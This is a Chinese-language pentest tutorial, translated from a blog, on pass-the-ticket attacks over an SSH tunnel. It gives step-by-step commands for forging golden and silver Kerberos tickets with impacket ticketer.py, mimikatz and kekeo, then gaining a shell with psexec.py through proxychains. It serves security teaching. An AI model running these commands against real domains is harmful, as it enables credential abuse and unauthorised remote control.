
前言
如果我們在滲透過程中能夠拿到用戶的 TGT,并能將其導入到內存,那么就可以冒充該用戶獲得其訪問權限,這就是 Pass the ticket(PtT)。PtT 技術使用 Kerberos ticket 來代替明文密碼或 NTLM 散列。大多數的 PtT 都用的是 golden ticket 和 silver ticket。通常來說,通過PtT 技術獲得一臺主機的控制權限是非常容易的,但是通過 ssh隧道的 PtT 攻擊技術就較為復雜了。
曾經遇到過這樣的情況:我們在沒有特權 ssh 訪問到dmz區中的一臺帶有內網連接的linux主機的條件下卻意外地獲得了目標的 krbtgt 和機器賬戶的 NTLM 散列值。這個網絡拓撲大概是這樣的:

當我們試圖在網絡分段的部分對一些敏感的主機進行域內劃分的時候,可能就會遇到這種類似的情況,這篇文章我們將著重介紹如何通過 SSH隧道 pass golden ticket 和 silver ticket。作為本文的一個示例,我們將嘗試通過位于10.0.10.81的Linux主機來對Windows主機win-rmjbtdb7qtf進行攻擊。
Golden Tickets
Golen Tickets(偽造的TGT tickets)提供了攻擊者一些用以長久化訪問域控、在網絡中進行跨域訪問,以及作為不存在的用戶去訪問網絡資源的方法。想了解Golden Tickets的詳細信息的話,可以去看看這個: Kerberos Golden 。攻擊者只需要一臺安裝了 impacket 和proxychains工具的linux的主機,并且這臺主機不需要加入域環境中。
偽造 ticket
要創建一個golden ticket,通常我們需要從目標域獲取到以下信息:
- krbtgt賬戶的nt哈希值
- 目標域的sid
- 目標域的fqdn(全稱域名)
- 模擬的賬戶
我們將使用impacket的一個樣例腳本 ticketer.py 來創建golden tickets的憑證緩存(ccache)文件。下面是為用戶mbroda創建ccache文件的語法示例:
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
為了使impacket的腳本使用ccache文件進行身份驗證,而不是提供明文密碼或NT哈希,我們需要將KRB5CCNAME變量設置為ccache文件的絕對路徑:
export KRB5CCNAME=/path/to/ccache/file
驗證變量是否設置正確我們使用下面的語句:
echo $KRB5CCNAME
現在,我們就可以使用-k參數讓支持Kerberos身份驗證的impacket腳本使用golden tickets,而不是去提供明文密碼或NT哈希來進行身份驗證。
名稱解析
為了確保Kerberos身份驗證過程成功,我們需要修改攻擊者機器/etc/hosts文件,以包含目標域控制器的FQDN和目標主機的NetBIOS名稱。下面就是個修改的例子:
127.0.0.1 localhost
192.168.26.129 amity.local
192.168.26.128 WIN-RMJBTDB7QTF
如果你還沒有域控主機的IP地址,那么你可以通過ssh會話連接的linux在目標域上之執行nslookup,例如:
nslookup -type=srv _ldap._tcp.AMITY.LOCAL
代理設置
我們將使用proxychains在ssh通道上來實現一個域內的漫游,檢查配置文件的最后一行來驗證proxychains代理的端口,kali下配置文件默認位置是/etc/proxychains.conf。
注意:如果您在執行攻擊時遇到名稱解析的問題,您可能需要在proxychains配置文件中對proxydns設置進行注釋。
當我們通過ssh會話連接到目標的linux主機的時候,使用-D參數對應著proxychains設置的端口。這將在我們本地主機的端口上創建一個可以利用proxychains實現域內漫游的socks代理。例如:
ssh unpriv@10.0.10.81 -D 1337
為了驗證代理通道的創建是否成功,我們可以通過proxychains代理nmap的TCP掃描方式掃描目標主機的445端口。
proxychains nmap -sT -Pn -p 445 192.168.26.128
時間同步
如果攻擊機的時間比目標域控距離快大約5分鐘的話,golden tickets就無法正常的工作。
如果真如以上所述,我們可以使用net time來檢查目標的時間(下面的第1行),并在攻擊者機器(第2行)上設置時間:
proxychains net time -S <IP-of-DC>
proxychains net time set -S <IP-of-DC>
發起攻擊
等一切都已準備就緒,我們可以使用任何支持ccache身份驗證的工具來攻擊目標主機。Impacket的psexec.py就是這樣一個工具,運行一下命令后將反彈回一個交互式的CMD:
proxychains ./psexec.py mbrody-da@WIN-RMJBTDB7QTF -k -no-pass
如果你在攻擊時遇到錯誤,檢查相關的配置,并且使用psexec.py的 -debug參數進行錯誤排除。
Silver Tickets
Silver Tickets(偽造的TGS Tickets)將用戶認證為一個在主機上運行的服務,并為攻擊者提供隱秘和持久的選項,這些是golden tickets所沒有的。更多有關信息可以點擊: 文章
。
這次攻擊需要一個Linux主機,安裝有 Impacket 和proxychains,并且還有一臺安裝了 Mimikatz 和 kekeo 的Windows主機。兩個主機都不需要成為域成員。
偽造 ticket
要生成一個silver ticket,我們需要以下信息:
- 目標主機賬戶NTLM散列值
- 目標主機的fqdn
- 目標服務
- 目標域的sid
- 目標域的fqdn
- 模擬的賬戶
在本例中,我們將通過SMB協議對目標主機進行身份驗證,因此我們將使用CIFS服務,有人列出了一份普通的 spn清單 ,這個可以在silver ticket中使用。
在這個時候我們就不能用ticketer.py來生成我們的silver ticket。我們在準備好的windows主機上使用mimikatz來生成silver ticket的kirbi文件,接下來使用kekeo來將我們的silver ticket轉化為ccache文件。
使用Mimikatz的 Kerberos模塊
用如下命令生成silver ticket:
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
下面是為用戶mbroda和CIFS服務創建ticket的示例:
kerberos::golden /user:mbrody-da /domain:amity.local /sid:S-1-5-21-2972629792-1506071460-1188933728 /target:WIN-RMJBTDB7QTF.amity.local /rc4:9f5dc9080322414141c92ff51efb952d /service:cifs
退出mimikatz,并啟動kekeo,使用以下語法將kirbi文件轉換為ccache文件:
misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi ...
拷貝這個ccache文件到攻擊的Linux主機。確保在Linux主機上記錄這個文件的絕對路徑;我們將使用這個路徑去設置我們的KRB5CCNAME變量。接下來的工作就全是我們的linux主機完成的了。
攻擊過程
剩下的silver ticket攻擊設置基本類似于“golden ticket”,但有兩個例外。
首先,我們需要在/etc/hosts文件中提供目標主機的FQDN,而不是之前的NetBIOS名。對于我們的示例,/etc/hosts文件應該是這樣的:
127.0.0.1 localhost
192.168.26.129 amity.local
192.168.26.128 WIN-RMJBTDB7QTF.amity.local
第二個區別是我們需要將我們的攻擊機的時間與目標主機同步,silver ticket不需要與我們的目標域控進行通信。
遵循上面的步驟,設置KRB5CCNAME變量,檢查proxychains配置,建立SSH隧道做socks代理,并使用nmap驗證代理可用。我們現在可以通過目標主機的fqdn使用psexec.py腳本進行攻擊了。
proxychains python psexec.py mbrody-da@WIN-RMJBTDB7QTF.amity.local -k -no-pass
小結
Golden ticket和silver ticket技術為攻擊者提供了持續和隱秘的技術,但是都需要向目標主機轉發連接來實現這一目的。當攻擊者在域滲透時可能發現自己有了一些ssh權限,但是卻只能通過Linux主機間接到達目標主機,在這些場景中,可以通過proxychains掛代理通過SSH隧道執行PtT攻擊。這篇文章介紹了使用psexec.py在目標主機上發起攻擊的情況,其實其他任何支持-k參數的任何有效腳本都可以進行攻擊。
參考: https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/
|